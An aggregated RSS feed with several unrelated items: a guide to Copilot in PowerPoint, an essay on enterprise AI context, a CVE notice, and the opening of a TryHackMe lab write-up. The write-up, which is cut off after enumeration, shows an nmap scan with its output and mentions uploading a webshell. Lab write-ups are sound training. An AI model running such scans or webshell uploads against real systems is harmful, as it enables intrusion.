<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How a contextual AI fabric turns organizational memory into AI advantage]]></title>
<description><![CDATA[Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing ...]]></description>
<link>https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing them.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/tech-and-ai/our-insights/tech-forward/state-of-ai-trust-in-2026-shifting-to-the-agentic-era">McKinsey’s AI Trust Maturity Survey</a> found that while overall AI maturity scores have improved, only about a third of organizations have reached a mature level of strategy and governance. Technical capability is advancing faster than organizational alignment. In my view, the gap is not a model problem. It is a context problem. Enterprises are feeding generic inputs into powerful models because sharing organizational context seamlessly with AI is neither easy nor intuitive today.</p>



<p class="wp-block-paragraph">Building the analytical and creative capabilities to scale AI, something I explored in a <a href="https://www.cio.com/article/4176549/why-scaling-ai-requires-both-left-brain-rigor-and-right-brain-ingenuity.html">recent piece</a> on the left-brain and right-brain approach to enterprise AI, is necessary but not sufficient. Before either can function effectively, the enterprise needs something more fundamental. AI that actually understands the contextual fabric of the organization it is operating in. A frontier model has processed everything written about your sector, your competitors and your regulatory landscape. It cannot access the reasoning embedded in years of delivery decisions, the patterns encoded in how your teams scope and deliver work over time. That knowledge is organizational memory, and frontier models can’t get that easily. It exists inside every enterprise but has never been structured, connected or made available to any AI system. Without it, even the most capable model answers a generic version of your question.</p>



<p class="wp-block-paragraph">The next competitive advantage in enterprise AI will not come from a better model. It will come from a better organizational context.</p>



<p class="wp-block-paragraph">One global technology enterprise set out to solve this across its own operations, building a modular ecosystem of domain-specific agents grounded in its own data across contracting, talent and vendor management workflows. What emerged was not just operational efficiency but a shared intelligence layer connecting decisions across functions for the first time.</p>



<h2 class="wp-block-heading">Competitive differentiation was never about the tools</h2>



<p class="wp-block-paragraph">Consider what actually separates high-performing enterprises from the rest. In a regulated industry like financial services or healthcare, organizations cannot meaningfully differentiate on product. A bank cannot offer substantially different products or services. A health system uses the same clinical protocols and the same electronic health record (EHR) platforms as its peers. What varies is everything underneath: the rigor of processes, the coherence of cross-functional decisions and the people who carry years of accumulated organizational judgment in how they make those decisions.</p>



<p class="wp-block-paragraph">An organization with a proper context layer in place can say with precision that for this type of engagement, in this sector, with this risk profile, our institutional history tells us exactly where we stand. That level of specificity is what most enterprises have never made available to AI.</p>



<h2 class="wp-block-heading">The enterprise AI brain that every organization has but has never assembled</h2>



<p class="wp-block-paragraph">Every enterprise already possesses what I think of as an enterprise AI brain. The problem is that it has never been assembled in one place. The data exists across contracts, project documentation, talent records, delivery metrics and the operational communications of daily execution — the informal reasoning that rarely makes it into formal systems.</p>



<p class="wp-block-paragraph">None of the standard enterprise platforms were designed to connect this. A customer relationship management (CRM) system captures customer interactions. An enterprise resource planning (ERP) system captures transactions. A project management tool captures tasks and timelines. None of them captures the reasoning behind decisions and none of them surfaces a coherent picture of how the organization actually thinks and operates.</p>



<p class="wp-block-paragraph"><a href="https://www.bcg.com/publications/2026/ai-transformation-is-a-workforce-transformation">BCG’s study</a> across hundreds of companies found that only 10% of AI value comes from the algorithms and another 20% from the technology that implements them, meaning the remaining 70% depends on people, processes and organizational change. The organizations extracting real value are those that have made their institutional knowledge available to AI in a structured, governed way.</p>



<h2 class="wp-block-heading">Building a contextual AI fabric</h2>



<p class="wp-block-paragraph">A Contextual AI Fabric is the technical and organizational layer that makes the Enterprise AI Brain usable. It brings together unstructured data ingestion, semantic structuring, retrieval pipelines and governed model access to give AI systems the organizational context they need to produce outputs that are genuinely specific to your enterprise rather than generically accurate about your industry. It rests on three pillars. Core is the secure, governed and interoperable foundation that AI operations run on. Context is reliable, traceable access to the organization’s data, processes, knowledge and history. Coordination connects people, agents, applications and systems into process-driven workflows with clear controls and accountability, so the organization acts as one rather than a set of disconnected functions.</p>



<p class="wp-block-paragraph">The data layer is where most organizations underestimate the work. Contracts, project reports, talent assessments and operational communications require extraction, chunking, embedding and indexing before a model can retrieve and reason over them meaningfully.</p>



<p class="wp-block-paragraph">The semantic layer is what makes retrieval meaningful. Even well-ingested data fails if functions use different terminology for the same concepts. What legal calls a contract, delivery calls a scope. Without a shared ontology, AI systems remain precise about the wrong thing. And retrieval alone, however well-structured, only takes an organization so far. Retrieval surfaces the right information at the moment of a query, but it does not give a model genuine memory of the organization. The real source of unique, organization-level relevance comes from training domain-specific small language models on this context directly, models that carry organizational memory forward rather than fetching it fresh every time. That is what ultimately separates a Contextual AI Fabric from a well-organized database.</p>



<p class="wp-block-paragraph">The governance layer is not an add-on. Access controls, data lineage, approval thresholds and human checkpoints need to be designed in before any agent goes into production. Security is not a layer you add afterward. It is the condition under which organizational AI is worth building. If the institutional intelligence that makes your enterprise distinct gets absorbed into a frontier model’s training data, it becomes everyone’s baseline. That is an architectural decision made, or avoided, at the point of deployment.</p>



<h2 class="wp-block-heading">Proprietary by design</h2>



<p class="wp-block-paragraph">The institutional knowledge that makes up a contextual AI fabric — delivery history, commercial patterns, talent intelligence and operating culture — is proprietary in ways no external model can replicate. This is as much a security imperative as it is a competitive one. Organizational context, once exposed, cannot be unexposed.</p>



<p class="wp-block-paragraph">Most enterprises are using AI to automate existing processes rather than questioning whether those processes should be redesigned entirely. The organizations extracting the most value are those willing to ask whether their current operating model, built before GenAI existed, is the one they would build today. That question is harder than any technology decision, and it is also the most consequential one.</p>



<h2 class="wp-block-heading">From context to coordinated action</h2>



<p class="wp-block-paragraph">Context alone is not enough. When a delivery risk surfaces in project data, the talent function needs to respond. When a commercial signal changes in contract data, operations need to recalibrate. This kind of cross-functional coordination, driven by shared organizational intelligence rather than siloed data, is where the real value of enterprise AI shows up and where the absence of a shared context layer becomes most visible.</p>



<p class="wp-block-paragraph">A global leader in digital payments and business services found its AI deployments across payroll, HR and risk compliance, each running in isolation, with no shared governance or common data foundation. Once the organization established a unified governance backbone connecting its operational data through a shared retrieval layer, business users could query across domains in plain language and new use cases across fraud analytics, forecasting and policy extraction became extensible without rebuilding infrastructure for each one. The shift was not in the models. It was in the shared foundation underneath them.</p>



<h2 class="wp-block-heading">The leadership question behind the technology question</h2>



<p class="wp-block-paragraph">The enterprises pulling ahead in AI are not winning on model quality but on organizational memory. The ones that have done the hard work of structuring their institutional knowledge into a governed, secure Contextual AI Fabric are giving their AI something no competitor can replicate: the accumulated intelligence of how the business actually operates.</p>



<p class="wp-block-paragraph">For CIOs, the question is no longer which model to deploy. It is whether the organization has built the foundation that would make any model worth deploying.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-63048 | joomlack.fr Page Builder CK Plugin up to 3.6.2 unrestricted upload (EUVD-2026-47618)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in joomlack.fr Page Builder CK Plugin up to 3.6.2. Affected by this vulnerability is an unknown functionality of the component Page Builder. The manipulation results in unrestricted upload.

This vulnerability is reported as CVE-2026-63...]]></description>
<link>https://tsecurity.de/de/3686050/sicherheitsluecken/cve-2026-63048-joomlackfr-page-builder-ck-plugin-up-to-362-unrestricted-upload-euvd-2026-47618/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686050/sicherheitsluecken/cve-2026-63048-joomlackfr-page-builder-ck-plugin-up-to-362-unrestricted-upload-euvd-2026-47618/</guid>
<pubDate>Wed, 22 Jul 2026 13:03:48 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, was found in <a href="https://vuldb.com/product/joomlack">joomlack.fr Page Builder CK Plugin up to 3.6.2</a>. Affected by this vulnerability is an unknown functionality of the component <em>Page Builder</em>. The manipulation results in unrestricted upload.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-63048">CVE-2026-63048</a>. The attack can be launched remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[AllSignsPoint2Pwnage — TryHackMe Windows Write-up]]></title>
<description><![CDATA[AllSignsPoint2Pwnage is a Windows-based room on TryHackMe that requires the user to enumerate open SMB shares and upload a webshell to get an initial foothold on the target. After that one can find higher-level credentials on the target which can be leveraged to gain an administrator shell and gr...]]></description>
<link>https://tsecurity.de/de/3686039/hacking/allsignspoint2pwnage-tryhackme-windows-write-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686039/hacking/allsignspoint2pwnage-tryhackme-windows-write-up/</guid>
<pubDate>Wed, 22 Jul 2026 13:01:32 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AllSignsPoint2Pwnage is a Windows-based room on TryHackMe that requires the user to enumerate open SMB shares and upload a webshell to get an initial foothold on the target. After that one can find higher-level credentials on the target which can be leveraged to gain an administrator shell and gradually extract the admin flag. This room is great for anyone who’s venturing into Windows pentesting and needs practical experience dealing with vulnerable systems.</p><h3>0x00: Enumeration</h3><ul><li>Started with running a TCP Scan on the target via Nmap.</li></ul><pre>nmap -sC -sV -p- 10.48.128.241 </pre><pre>Nmap scan report for 10.48.128.241<br>Host is up (0.039s latency).<br><br>PORT     STATE SERVICE       VERSION<br>21/tcp   open  ftp           Microsoft ftpd<br>| ftp-syst: <br>|_  SYST: Windows_NT<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_11-14-20  04:26PM                  173 notice.txt<br>80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11<br>|_http-title: Simple Slide Show<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)<br>|_http-title: Simple Slide Show<br>|_ssl-date: TLS randomness does not represent time<br>|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11<br>| ssl-cert: Subject: commonName=localhost<br>| Not valid before: 2009-11-10T23:48:47<br>|_Not valid after:  2019-11-08T23:48:47<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>| tls-alpn: <br>|_  http/1.1<br>445/tcp  open  microsoft-ds?<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=DESKTOP-997GG7D<br>| Not valid before: 2026-07-08T06:13:45<br>|_Not valid after:  2027-01-07T06:13:45<br>|_ssl-date: 2026-07-09T06:17:29+00:00; +2s from scanner time.<br>| rdp-ntlm-info: <br>|   Target_Name: DESKTOP-997GG7D<br>|   NetBIOS_Domain_Name: DESKTOP-997GG7D<br>|   NetBIOS_Computer_Name: DESKTOP-997GG7D<br>|   DNS_Domain_Name: DESKTOP-997GG7D<br>|   DNS_Computer_Name: DESKTOP-997GG7D<br>|   Product_Version: 10.0.18362<br>|_  System_Time: 2026-07-09T06:17:20+00:00<br>5900/tcp open  vnc           VNC (protocol 3.8)<br>| vnc-info: <br>|   Protocol version: 3.8<br>|   Security types: <br>|     Ultra (17)<br>|_    VNC Authentication (2)<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled but not required<br>|_clock-skew: mean: 1s, deviation: 0s, median: 0s<br>| smb2-time: <br>|   date: 2026-07-09T06:17:22<br>|_  start_date: N/A</pre><ul><li>As revealed in the scan output, the target had open FTP and SMB services running. It also had VNC running on port 5900, which is a tool used to remotely control a computer. The target also had an Apache web server running on port 80.</li><li>I visited the webpage and saw a slideshow of several random images.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dGY_YYPe-2cPMFahuq97xA.png"></figure><ul><li>I checked the page source and found the following JavaScript code.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pkq0OGbAzjJdWufJJ8sYeA.png"></figure><ul><li>The code here revealed the /content.php file and the /images/ endpoint.</li><li>I 